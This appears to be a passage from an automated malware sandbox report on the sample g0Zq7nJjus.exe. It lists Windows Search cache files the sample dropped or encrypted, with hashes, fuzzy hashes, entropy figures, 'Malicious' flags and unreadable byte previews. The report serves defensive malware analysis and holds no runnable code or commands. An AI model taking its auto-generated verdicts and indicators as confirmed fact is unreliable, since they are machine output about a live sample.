SHA-512:	6105C04BC10FD564B578679A433C55DA3889A8A7FCD0C9E50502A720280B6F790E8F375D22B80AA9F54CD21DB973960E3D3081830A9914FB6AF58F0487D0A9AB
Malicious:	true
Preview:	\|pri...l#O[.x.f....tn.5.v)Z.i.b))..yOF!J.K.7..#.s. ..U..W...0..e.t....._.].:Wd..i.....1...^..G..UR..D.a7..M.k.W.....Gi(.y..8..{;(..r...7..7=Q...5G.wS_.roy.nc..^Fe..P...M.....-....p..o..je1... ..j.T.b....\.fn"He...=LoW.$......5...SF-.......bN.'.,..U@d6.+h._.{.<..H...x..A.?F.p...>.....m.D,r...`.lr\|...=..w...x.>...[:.`.w..en.e.A..j.x..Y{mga6y...._V7..g.S1.N..~..U.u........v7.....a...E~SP......;....~..8lP.8.....\.v....6\,l..N......./.....X.J..`.d.m7..$.&..I.Q....N.dP.....5...N.......^.?..-.>N..V..f.. ....A..Km.q.K...># ..I<!..1`.I^C.......Z.s..k.+.{.Ls\|..m.t.h}.....;....~..j..cs...y..p6 IEF........3p.J.0.....a`.P'M.}.f.t.Q.~.SSnk.r..D2..{..j/.p6.....(,....t..N9]/2.A..?.p.%..Xj...}.E....N..........(z.....T.:V\|?...?.X.D].....:..m....Z=c.W.g..e.<._&.;.@C.......Q.$~.....V...a\xQ.gn5~.a.0Lk...u.'..O./.F.......S`uI...6v..&....Y.......S.j}tb..l.......f...u'.b.%..y6.MK..8.Y.d?.../...3{...v...7......7.U....D.....n..J.\|.a..)Nm.g........9p.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{6f6a6616-c437-4533-b6a1-6b30da29cd38}\0.0.filtertrie.intermediate.txt

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	217852
Entropy (8bit):	7.58428209154977
Encrypted:	false
SSDEEP:	6144:l8+NgMOUAvRd/bnIBHhgOae1l/jCxc81Cda:l8+MdLIBB5BlE
MD5:	1897862C3ABE33161672DF15A99FDBB4
SHA1:	7159764E150DB8C08F03B72046ADA895276D9147
SHA-256:	944DE93CE93CE528572DE6F270F55D237FA991CC03273B13B1064BFEBE29CE3F
SHA-512:	CDFA4BC4F6C7D9ADFF9CEC653DD3C0B3ADB2B918AC27406846988990C05F42F61D7DCD9F19AB1680872DDE8EE992BC986E2D5F9EED6F0BFD7D54FA92F9040E35
Malicious:	true
Preview:	0.0...4\|.,r.:(..'...4O.Qc .Z..F<#.F..h..r....?...3.w.;.9M.9a....D=..0..v......<..z.M..t...k..<..A;M...-$.G...g.=....g........{`.j.$..O.@.cp1....5..[..!..3<s._K..nV..`3.].?S...s9..~..-............&8.....o@_b.....qz..........D...\|....."..LM..u...N.pS..7I....P.v`.l...t@....7...OS.v...&u....H~......L..S.K.)..05..ad......$.......... .T..M. .B...H.k.G$.z.J)...._D.....9....'%....#...).m4$.z.......w6.&...0...!uC...[.6.....6....F....p.It..]..H..Z.y)..2...B..r.@=....{'d..u.j..A.Jm..:.6...k....N....q...vx-.:tn.;?....OZ....'..O8..&.n.-...PZ.z....5....~.....@6ENLs`fAX.kyVK+]WB..W.......~.S.....>y...'...""........K..v....2{}.N.m{p.c.@!.>.9...T.H.5...] ...<..X~..@.s).3.2p..X..r.D.......w..y@6.i.7.Z.N._,.....O......]..x...........P&.w...x;.>}...J.x1......H.{..06......,.......0.....S...;...d.bJ.n......].P..!...%......\|g......Q.z......`.+.....)......$I.Z)77wI..s'.>..Jo..Jia..[y.Lxr.^.>...en........o.<....s.......t....2F...+e..5.....9.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{6f6a6616-c437-4533-b6a1-6b30da29cd38}\Settings.ft

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	239538
Entropy (8bit):	7.3503823415317475
Encrypted:	false
SSDEEP:	3072:Di9TFELQhzYhL84A09lxBYLEjYkZpelU+Ua0DqPUo6PExqIFcOYhcC9ECNEFME3G:a7zYhfAFaYkZChaqP76xmCNz
MD5:	322191EB8DDC08AB45C52C293849477F
SHA1:	BD2B5F93B29028DC23BA8CAF33C83A2904E07A97
SHA-256:	B4CC19862BA47C42384DC68868FA48F4C8368D3C314860F9CEF00988F349AF5C
SHA-512:	3D888B33E1FD23C4D1A1830C2F748B304FA5C7E67EC810AB620F4EBC8E14613E53C6C0EE037F38E1145115A6D22C3EA4417C7470C3531C404AC04175FF251D8B
Malicious:	false
Preview:	.....\|.F.A..5r.[.P.....nO=.1..LoGe..t.......P.....q.%...,.8.vl..J.njGi.9RC.X..A..T.@prV.{.........`M}x....)+..z.D.g.~...g,[{..Z....#r..YW$P.zV.XC+k.."..+.....pk....I..gT.9.3yW.E..Ca.o.%uek....w./.X^/u..G....<!.aAU...r......._rS..W..K...-....s.<.0.U...G....~.......X<......`........H......>fa.!...]{.....J....H..}...."...s%..[.J..D.h.b.j.'B..x....V...C...M...,....?..Z...T.Z$........t....rS+3..f..o...1.).]d1G.H.y..NT....2..L.L..zP..ke.-...B.7..&..'....,..:...?M..R..dA]Z..xL...5#..h..\..e[...\|x^.sTD.2..T.Dq.f^.?Go..I.FK.Z...$o.f_.H.~w..M..E=..h....9......Y....q..b.......=...=k.\..?5....z....7...z0.>......&#.....KTV.......N.%.S..;(V...I.9...<.....b._..{..l.....Z{....l.G...=m..@.P.].Y)...Qr....6C..`F.T....f....b.FU..R..j....I.a%...FD.....p.9...........3..cU...D\|....3.............B..>1...M.....u.....@2a.3......Yg.L.&....,.WG,.....$...:&..'....I..USx..QTde.~.TtW!=)v.0DS#%....Q&*......azB...T.....[;?i.F...\.a$T..d..r'....~7O.........9

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{6f6a6616-c437-4533-b6a1-6b30da29cd38}\Settings.index

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1482186
Entropy (8bit):	5.658373573499972
Encrypted:	false
SSDEEP:	24576:YUUoQRKjt6az+F3jv8COuZ/kr2bEEYz1jBa/mqkNRM3lVKSum:YUUoSsCF8hR3z1rM3lVKSum
MD5:	A342C4CCC4BDF9E0F3916CA0838AACC8
SHA1:	23B6D631CF308382A0548DF29115515925FC4669
SHA-256:	C1F4CC770EEBA45B3B7CAF3EBA9702BB9AD7DC2C6C1D170F4CA403112C3D0DCE
SHA-512:	991F367D4DFE01E788E4E0C94EF3A085F2C1831697D4700CC3B49AA59AF60BC484CEB16A5648AAC4718788DF321BB0DEE0BC22A6ED3C43BCCC27C11BA0EB5220
Malicious:	false
Preview:	Ej..Dh...9.;_.gf..@......w4"...r....ob......Y.~...f.g;....V..\|....Gq.c....i]....{....`.]...<.....>...e>8.;.....s..........\C......L.Q...9.IU.G......P..k.B..h6....@..E..I@..Q.:..8.v.O.Y..9YlP+>..uP.t........a..O~C..+.s..dQ!D.&>....+................4Y.....b..4..`A T.]~.s.y....]d.m~)T.....".....J..0..%@..+..6....X.R?=.;...'.......+.. P....y1.3w.m'.<.a..(t.A........,....lQ.:...<..v.........k......0u.sD.Mb.M..A.........]..e....3.".N..~as...!.7...[l.z.)T.Eu` ...\|~..7.$,..meq..+a..C+2O...&.~..9paZc..v++..j...w.1'w..=.....7......Go"L0.....J...8I.O.g....(R..91.0a...........).A...d1..~c;....r/...'.I.b\|..Y.....-...;.ey.e..R..=.h.....o.0....}.......Y.D...:H.+..@..R.."...1......9.\.Qz.%~.I<rYd.Q....)P...0.@.cT....S..CVJ.[..U..\.........0..{.Fyt...N..M.....(J.W. ....r9...=.Y.I..@...b'....ul...".+.k.1....M.....s..m.\|*.<w............m.5..?...cA...I.:....c.T.{.;.c..rh..r....[8...2.sB?.A8aY..o......1.q.A...y%.<C^..Y.Bo.}UGN..<i.[7q..<..\

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{ac01b07d-c9ac-4d31-8220-3dc6d7aa0576}\0.0.filtertrie.intermediate.txt

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	217852
Entropy (8bit):	7.585477976216437
Encrypted:	false
SSDEEP:	3072:ZmUDLuIoixGjWh7/SkqV0dLDmbHGMn31y+PjlTaIQ42JVo+jeTNT/4hPiCBjCBsi:AH3ixOC/I0QbHOBBXjeBT/MjCxc81Cdm
MD5:	960BAEA2460DD1C5A658827F00026F58
SHA1:	644520A177E8D9C685EEB4B5A72957AD2585B8C8
SHA-256:	7CFD832A969CE014FB3DA5DA4129E6BEE075C5DC3A479A78386433BF7CF7DC81
SHA-512:	3B2392CB6999F97C392700A8241D58C861D8365D1FAB98CB66C4D109C9650E3DB42AC5E003583685DE59C2A9E5593D08958D889DC1DF8B2A8BC288B973C5B018
Malicious:	true
Preview:	0.0......).E....1Y.._s.!....9q:l...!r..P/.ne$(....URN3b:0S.+B........}`.-~9...;.)..E...md...L>.../...4.?...y>!...}3<..}.{..Ff..J..D..2K.&........S...x.\|......{.7H..g.......9O0#.+\|.&C{..k2..5....N..b.0....5....=.......p..:...............:3lo..z"../.m.>.G0{..p.B.....]J...@+.D~.mO.....\|^..f%S.cw8...O.q.......i.<E..kL.!.G.]...sz.Pxu^../Pg......I&<.<.~.j.a.-.5..B%x.D....w.....6.w.~.m._T2W..5'.\!{._m.Xwf.n.Q....c.z.s.\..d.P1,/L..H.Kq.r.k..En...t....{...-..S..........<.k..Tp.I.....c`..x...8...D.DZ...r..v......a..(..5v{.lU..>.I.j..^"..h.KQJr....2w.l.........P...,.m.O.....h\|f$...B...g.<V..O...?..e...7.....Mb.L.As....hh.=...V...L.?i.;.$....[..e.L.d...9s...te.......eo...Z..[.......T-x.V...._........g'...A.=.B..1.b..5.`+^.....rp..Z....]PpD.E.."....R..........`(D.MK<.....@..s..O...*q.....+K.l.'.7...E..BU.(y.r.D\.:N......a...........B{2....8i.^2r....Wk=.....7.+..=Pr... ZxV2....).JQ...U....ww&..x3;O...uF........?.h.1.4].....l..&.Z....1.68H.y.w..V.8

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{ac01b07d-c9ac-4d31-8220-3dc6d7aa0576}\Settings.ft

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	239538
Entropy (8bit):	7.351149834430591
Encrypted:	false
SSDEEP:	3072:X9TzX2sZ6UMrvQo9GiV6TtTcHOBWaB4F7UVEhhOkYL5afcC9ECNEFME3by/pcU7F:1zX2RrQoeTtTcHO1B4COP5Yl3CNT
MD5:	BD68AFB4B26AFE3FD09E8D6E243FA745
SHA1:	EEB455E61138F48C5750EFC46F390D300DC2522E
SHA-256:	EFF55F223293018E65EFA049D0321197F7601A8996F8AFEED17452EB3F001A58
SHA-512:	57C469FB90DA06E4C40BBD2A13C2C12B5F64A91D5516E08847EBC3845F228FCD58DDC5FBAFC400950FFA9796A1DFAA09E626459EACB2CF0B546E99DC7842EF4A
Malicious:	false
Preview:	......s@ya\|..\|a..O.e.~...M.E......>..v:GF...hF.#.CfsC8..f...a.5t.]..^3..z..`.C.!}.0.7....:......'..............?.V...#.......c.......w.4W''..h...W.;I....\|..3c$nq(9wJ.3..V..6u....p..~...y....~T_..i..<..1e<..`.hFh..BJ..B....MII...e.]e.Q... $.YuN...M.._0....0...2m5)..m.nm.bn.s3..-i..<..z#.:=...F%7..W..&r.,c....v.....)..!......'vg.....\^...9U...;f.0.!Is.I.....^L.M...x>.8........'[.v-;...{=NN{..G..~..FY.....8D.....p.`.....h[.x....-Y...I.mQ..I..N.8.F....~lX......r..=.=/..?......l..W..w.-}....4C..TI....f.>.}.f]).+F.702.b.RgJ...#...R..{6..{...3..Zs..M.!gWAR&.h..u.s....N.}.j..o.F.3WN...l..oY...~.^........aL>...r....["...\|.r`.L...JvR9.).xOe..O.a"...k{...b.....W..JC....:...#.I...g.{.t.b....r.C....)EB.].+....'...')...8^-.9:.R..>.....]..#;..C..S..Q[.%1Vd.sY<...F}...kA7.........)U.$TC.^c,.O..X..Sq.SY..=vz`....U..;....S.WD...S.I.`..A.]Z...bq]7.........x...W.n..<C..e......R&.V.O.......pF..6t.^...,..F=Q..oJ`..M?,i....%zU.^...#:....)U..Y*.2..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{ac01b07d-c9ac-4d31-8220-3dc6d7aa0576}\Settings.index

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1482186
Entropy (8bit):	5.658582240163909
Encrypted:	false
SSDEEP:	24576:N6S59GYjt6az+F3jv8COuZ/kr2bEEYz1jBa/mqkNRM3lVKSuo:kcA+CF8hR3z1rM3lVKSuo
MD5:	8255D110B4A46D02AEFFD20E435B11CF
SHA1:	0A19DD11B105AE214DB22F7359BCF9779223EF25
SHA-256:	4141DAEC60153CDAE95C8CB069A7A8ABCF1576145E334D218B412A2B1D8BD176
SHA-512:	64D800FADA19BD36A8C26C518370B7E0A87C7A0DCA25E8BA3355717AA0BD4524DB3027F10A6BF04F91F74CB05C1EA2E707AEB564B3C02DFA3DB98821766FC2C9
Malicious:	false
Preview:	Ej..D.Y.+a.....N..}.....r.t....2..yA.N...#b...d.Y.I......S.XTQN.G.H.... .X..\...}.3V....e..E2.. ..e@...E>.....h.,.....T..r...Wjt.r.}...[....j.%.su.u....b4r.. ..Q.{h..r1..Rm"..'.......3...b.ngV....s..tn..'6E."..o.....L..n....W.Z.....x<_....!......h)kUNt............J.=}... .a.M....x).w.g.". A......)Z.#YlG.../...P{K.....I......=....\.....8h.O.V...8...v?.666L\|.W.y.Z .T...Y3.. .{.c6r.w.5p....<LS...r.Y........#.YuT..2U.1J.'.B.\|.!...(F'....xY.Ja.....7DA...9....a.H.ZR....P2+...k...(....T..%......-R.K.S...h..._.G%.@..w.......C....j0..J..2..([.."r.Y.MNNM..K.Y}B..F.......)-%....$..y..e....+p#Z...zY.....[...\..=..u....5J.L.t..=M..Q..C...u).$.Mc$m..67v.....o{....$.... ...SF.....h..&.OA.?s.6..D..%...G'q...!......Io.L..5.wa.....4I..W..0..S..O7.3.u.3.wtJ.0.95w+5]...r.(,..s..........".upM.8X:.(.}5?Le.....+ea......zPg.I.u:.......}O.0.[<..t.jX..t.nx?1~..0....&.J3e0O...ZKS....Z.']..]$.@..i...u&....)...?.P.y..,P~4...4...wW..".QTy....3'Nt..iU..1`...

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409602890767950.txt

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	102814
Entropy (8bit):	7.998339715108325
Encrypted:	true
SSDEEP:	1536:plGvmNH12ep4bQ1TEXLG/vFEggt+wfrZQ19smdMd+K6UDNW5spBtcg2KREJJw08d:KvmR4Q1oXq/vAt9TG19sB4D6WOXOglqg
MD5:	6FAED2C2C327D3405AC42D48B96D0B0D
SHA1:	A6A6E759B5C5403ACFE7B06CFACC6409E753129C
SHA-256:	CBFDD5C121901A4C50C9E4EC5662C2B024D642717EA6C783A47EE5F783EE1CC0
SHA-512:	D5993F15A64E2988C59B96668DA09E9842FB4EEDD44E6447BD95A58E63784F942A216F3AB52414A973209BB900559FBA580CBC7EAAE11117039F5140BA85C0F1
Malicious:	true
Preview:	[{"Sy...y...........iP.)..-}.o.Pv....A..........j...iZ.......IV.^.<...h4......@.b..B4;.I>c..)..h.w....@J.d....a}9b...t...(Dx'....fxu,c...`>.fi..$fR.;\....G;.]\.#.v..........B.....;.ZZ>....U....@...mnd..Vv.x.P.c?.../.=...u...+..JS.[..Z.=.+R.....WS..7d.....i&.+;.a.\s.P......}.C&a..J..qA.y.{k.V...`....JD%...]..JhG........d.....b.)".....P\..W.p..f.-.s..!....U.Gpm^.. ..y.............Pu..E....5.{..z....D...[........9....YI..A...G..#..8..#........+c..F.8.4f%.G.&.8[..<..v.``.G.l\|....d..f...v.l.Wp..e.)k.yr.I...}O..Q..?...<.....x....dJ.....f.....3..E}.I..TGJ.<....8..q.%'......w.a...7d .M..s..-.3o.-c..5..........l...e.f......@..4&.(.$7.-).y...)p6k.b...zP.P...)J.P.d..T.....X..H.......8XB...,S...D.=).~..N...6/t....:.c3o....?...=.w?Q.Oaf../.e4u...'...NP..U...Ps..2C.N0....^-.a.....1.....B.I.v>.....3^..zt.G.z.....?..u..?a.:.+<V.m..o.Z..4..(.K.97.#....\|.SH....p..YC........^x.3W.Sz=.L.&.. ....T..m....o]N..&.&........k...o.v.E..YCE.4.K ...W.._pLa.Hg....0..j y..z

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409603686917468.txt

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	104142
Entropy (8bit):	7.998222448300838
Encrypted:	true
SSDEEP:	1536:5/F37ooiongPqTcCLEUAFDcd2/Fx80pxvlnLEzqj5qS70wh3j+c+1J3w:5/FLosngPqFIUh2w09sqVqS0wtKc23w
MD5:	8604006DF1864D656C16ED2FCB0516FF
SHA1:	1B801D358D3356806E0AA86B34CDCCE2062497FB
SHA-256:	3616CFFCD0721129126A3FE1934FB361C66B9DDB1F1E92ED0E195B84BCDD686D
SHA-512:	F720FEA9238636B651A2AC034F75BB6A82FB1A09DB691C277DC484143E224C37F6E7FC78E0B56DA662F649E1EB6B56894CF5D700F78A032866E347ABC9EA66A9
Malicious:	true
Preview:	[{"Sy.~J....y.S.{.J.7&.. .81..Ja...B.@...w.+.!..N..(z.;y.....U.Ga..1.3o..^.X...;.<. .D.L".G...zc.ou......c.Tu,Kg....!...9d....X8.R..4Aj.Bs...h.[D_Pq.;...<...<.f....l.8.>....lt..L...C>.....La..7Y?....\o.-.v....{.55)`u..$.4.j....].Y.^Ms")v%.A.......7k..my7Q.K.$Z.fv)=.......E..->R.z.^.%a....Q.....=..m.Z.Y.qAq...C&dI.O]......Ev"N.E(....M7..S.....4_}.........vCHER...@.Xu...Qb.F..yVS...Y..8y\>.X.^Pl....?...^.x...v.7....9.+g.&...,..(8L....._.~..c1}..>..h@?..Ni.(...i.U....B.j....~.x.u....'j.A........W.'.{..<..2?...%<w.UD_$..Ad-.6..}c..3.'.G.....'A':.....$.H....4.<....t...T..f...m.>.......y.j./...2..W..Uj...7.V.4...8.@.9.e...vO&.GY..)...,.~8&..}...O..9.<.....e..y.E.lo..P,.U..g....O.bH:A....qr.%$S....../eC.4.a.(...c.X...k~....@;..+.R.b...!\....M...v....+.P.\|[.M.^Z..X.Ss...)`.....m......;..........;1.'.c.w...y.n ...y.....&3..........e.....k..k......^.{.h0DG?lm@.h$.........X....7.O.M....WR.o.0....^T...c.WX..P5...5..k...........+..V....

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409604173107312.txt

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	105103
Entropy (8bit):	7.9981986060900185
Encrypted:	true
SSDEEP:	1536:0gx+IYCX8DPm2zbJwrBKbaf5UWQtb8Sa4fmfC8cBQx8USClrz05qN7S0g7BEn4HJ:fyA8PvJajktbhaomZ33SCVzUrO43rrHJ
MD5:	A025FBD37F248A6C4015E2B6AC875F20
SHA1:	AC17E313D94DA3BAF94D2D9A95EC773CD9FF42A6
SHA-256:	E47BD31F2A5256CAFF699DFF85EDDB5A8C737ACDFE5EE785F4216C00D61679FE
SHA-512:	2E44AFBADE23C71C2B90C3882911FF4FDC3144BD2485189B3159077570EF821EC5025DB66681F37E55C0ADA76D498CE680258A10EFBC0E3761640CDE368C9732
Malicious:	true
Preview:	[{"Sy..)....B...KN..[.iQ..a....3....(h.^..u..0H.j...8..x.>f4.o.E...6P...#..;.u.\X..E..Z.....H....N../wf.OTv.0...[.Y..u...bp..A....F.K...>'#.p..<.)..u~;.w.F.)".J..P,....z.F..,...o...;.M.0...G':.`:w.,.....3.UR.i?.%....9.1\C.s....i....1.....6O.!P......Q.M..aA.T.......f.z<0.u..5g.Y.....m.(.huC.FH....9..#+.e.J.#IT.....F1\XO.Z....3....)g..d"....L.....v..4zW.l..V.....e1l..Zq(....na4..z..=........M........2~...[.{8..x.~:?g....c.V..~....,=...2.Z}.g..L...X.....{..+{.7...Cd.<qU.2...G..w..^j.....1.;. ".Fq.m.....G.....X......Y....../.P.p....3}.b..G..].S.j.$....m.......-.4.7c...h.p....~v..4.;..<O..?....2/ ....c.i..... Z.3.I._...h.S.4......~...px....s.u. ..l.b.=I.JY.`..~nB...Z...5mq.ZQZ.N.LA........{..S..#.y.......G.....n..\| ..>..>.h.\|.-#._.......)..%m...:A..\|....Pm..v.......3Yl..........N..q.............jB.NW3..Rk'R.h......#I..V....^..i..Q......$....?.]..m.h}{..Qru5.\...,.2.5..i.i7&Qu7l.W{...V_C..Y..<.7><=...N.l.....y.. ....M...1f..`m.).-...UN..b{... .b.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409604473729424.txt

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	110962
Entropy (8bit):	7.998319234311544
Encrypted:	true
SSDEEP:	3072:2KxQb7t3bks9yC3xNkqUQQkVJUnxqZY7D0Ys:2KxiN46UQ7OnxH7D0Z
MD5:	645313DDD7D15610C72A27DF1B1707A0
SHA1:	C0572172F8EC4CB36F392B1CB83F670AE1658C20
SHA-256:	49DC6E8ADFAA005502D0D6D299849A4D8F51859BDE7C8BC044763A8B23554678
SHA-512:	8899EA76F76E6E0C88EC430F4E776D7F800B27B7E898AF22C10D0F9B6200C2C97AC2AA6289D00DBFA3D43ED68027DE572805413D7F1E09728965B34F238516CD
Malicious:	true
Preview:	[{"Sy.7......53'p.3.3.qD.\|..B...{.S...D..7U..o.OU0=?}. .>.rJ...k>......w.1B.....K...I@s ...._....^r...q.D.A$B..y./.t.t...$..C...9Z6a...]......... ..r.^.?.s........O....~.y.<...J..:.V.`7..Pn.....T...%.]..0K.....o:.&.....Yy..k....\|n..W".O..l\V..p....h...}.p..T...R."..C.{..N.^F...n..1d.j...]m..\.Do....,A..u..2....e..bI,.......$......T...O.u..l+.8...J.ib.X..X..~...S....9.'..o..v.....l.(..[...z...N.....Q<.@..%.......A..b.A.uL^p.r...c.XB[k....a..16...C.o,.0s..\....p\..!....@..m..ZY....D!..q...cK.8...!+.V....h]...a.8...rOC).....p8^................b[M.....u.eDQ...<.l.=.....5^..7..S......#.^)..."{.ey.....^.5.(.f..12/)G..w[.7. ..Ke............ 5......+....$t.hi.n...?e .,;.....).i...%!...2..l..A....9.;.N.........zR,......X..(G..tu.5....`.<cz.A...}b..v.&.Y..!......(...K.`.....Jmi..?j}.T..`........-./p!V.W.C....<.8j......6w.S.qQnJ.l.w..Vr;......I%.9@.6..m..1.8r...A.....G.\|.R.[....4.s.1.].....c@.a...$.I#.. f..t.b....'y......!.nY.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409604779873335.txt

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	111235
Entropy (8bit):	7.998420079641793
Encrypted:	true
SSDEEP:	3072:rW7u/zOhaOzH4YHJLMylU0GbncJfmPR1XJwb7BE3zDoe:03bYYHJLLUFbnTrX6BEjD/
MD5:	EE3209D17C95690B79C226831EE640C8
SHA1:	F6395B61ED3F0AF2C4538ECCD0E34DA43365D4BE
SHA-256:	A0C579EB98D75403B2B0DE82B09B2CC5A4125DEF7A4C14B120F85067634B59EC
SHA-512:	BE00375FAB380BBC343230ED9FBF13585F63AF2DD5DEF1C3CBF736577B1500728ADA1AEF6A285C30BB87B2928CCDBA4EBB5C314EF377BEFCB5046F7C0E79E78B
Malicious:	true
Preview:	[{"Sy.V..&.3.E.....c.\V9.....48H.p.......t..5..>J5oE~.1G.{...N....o...P...V$.:..Tv..&^G1LGR....e.::.Q1..y...........K.9^..w\|.H.......[....1Z.$......\|.5.x....iD0y..G.......bQ.^.}..@..f...."..a.-.....3z.\|?t..[..N....!...oz.$5Y.CD..b(%#...\|.L.../.....7.FvG.Rvq#.......kP.o..>3.L........W.Q.3...Z..a5.W.2..'GP..S.J.&_)..4........B...G.....w.....Lw+.u.`^'.q163..JY...6a..{...{..aD;q........l$ET...x.+...4.'......Y0../\|>...;H..7?1R...S..''...[(..rR....EC.i9.J#+..Qc.. oj..f=..Y....[^uD`...8..Q.8,......WV.P@..0. ...fD..7.5dO..........L.BM.. ..F4..(b.@.P.......B.b.....>s.x.e<...t<K.N9.Q..T.KA.!>...b.M.]7(<..{<.3y.$.B..k....ft..$y.4...p{'.......(.[...f.P..9@F.......w......Q...\..Q..uJ.'..'.9%.g....hk.r.....Y... )]er......:..{(T.0.......6y)UP...g...4......\..."...........c.3.X'P .z.s.br3.n....x..N.a...]....)..=..V..#..P..Us...]....d.s.J+.z....R......rm.s...7WV...K9..{..=.....m.E9 Q....A.....[..9a../i.%.}..3.4.x......m}9.vQ..-..Q...wF}V.k..g.}........r.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409604847938702.txt

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	111235
Entropy (8bit):	7.998371790056117
Encrypted:	true
SSDEEP:	3072:tj4j93uaR0OIKlXoOgg+zN25ZOk5/UDDS:tGOOIKSOUJ25AI/+DS
MD5:	3B2F204B37D2808B0BD9D8704C4D9164
SHA1:	EEBF0903558D468E1073765F3482DECFAE308643
SHA-256:	D99DE71CDD15E0CAA2FBBE748F59AA037D67F20CFABA66FC32E6AFEB648FEA14
SHA-512:	29AB4E619512B11DE9418AC4D9D4F09DB601306D3B3737FA5C13600FDE7275ED22FB1E6F6C4E1ADAD0D4F00C94486E5CD40618F2EDE5DE2614A3A1FA14D5CAEE
Malicious:	true
Preview:	[{"SyS.IW.M.h.7.j.../<..NK.# .).;.\.....w..T.j.&<(:..Eq.....+._=.U.:?x.q.G..W.%...[z..\|~d5yM..\i.h.iP..0%'........U\|.w..o3.i..E.G..\..<J.0;.o8...A.8.Q.p3Q:.84.0I.E%v. .+[._Al%..e.DC>..V.5.x.#..!.<@b.qJ..D.\|...J!,......... ..n.._g.t.{.fhq.....(.f...N.....H_..N.^.....3T2S.\|..0"V'.........r..23\.]..c..m......{.t).N...Y..)d..H.......i."..f...Wf...S..Yq+"HU.w..v]........%.I.,....Y1..k..y......+.YJ...A ...k.D.d...>...5u.)..@..s.3.....$........1..)3&.Nb.M1.t.m#.N.\|@-....4".n#u>..d....Y@...X.Y.Fb.M/(!.W...7......@.C~?...g.H..B.ee.....!...~W...9.<......b.....pK!.....%..2...%....-C...&3.F.!.....i.......to.$.~.]Au.......a....C'..+.^i..k.......'..W.),..1M..l.R...8d=........>\}_.G..[....7.hZ'......H..)^...,......%..;.3.I..u=..]..O.Z..Y..%..n...f..6T.o.I).t].$.a.B..#?......w..:..V..SZ..#..b....L.\|..f..VO.y...G.].lT.Q..ed#..T......a......Ju.....d...F=.....H(.WtH ..x).q...ZwE"W..d..?...m.+T....>.:$A.^..:..4.....(.E."sX..L..E...V..U.8.J..+......l#.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409605028834776.txt

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	111235
Entropy (8bit):	7.998607810906578
Encrypted:	true
SSDEEP:	1536:WN4lv+7tVxuXpkwVFaCNe2JbtTQyocXQnGCxchExhwB6+bD4vNl2aPvuXh+F7mxC:w49MxuX4CNe2JhT/XQnNOBfLGOENe0
MD5:	AFF90E3E6694286BB19BD81896086B4A
SHA1:	4D94733728A209088EE74C7D8BA45D64465CD6BF
SHA-256:	90884F1F1221912F27E91FCB133910994D25C09A39219EA0CF40E3DAFDB978E8
SHA-512:	1AC481DC4D7640D0451FFECE9B99AD99B8194BB1BE6FA702BE3700283C3CA7CAE02544F6ADF574E4E92F7E7B2A93F6DA406681C36B3CBD0956AD060F2069E617
Malicious:	true
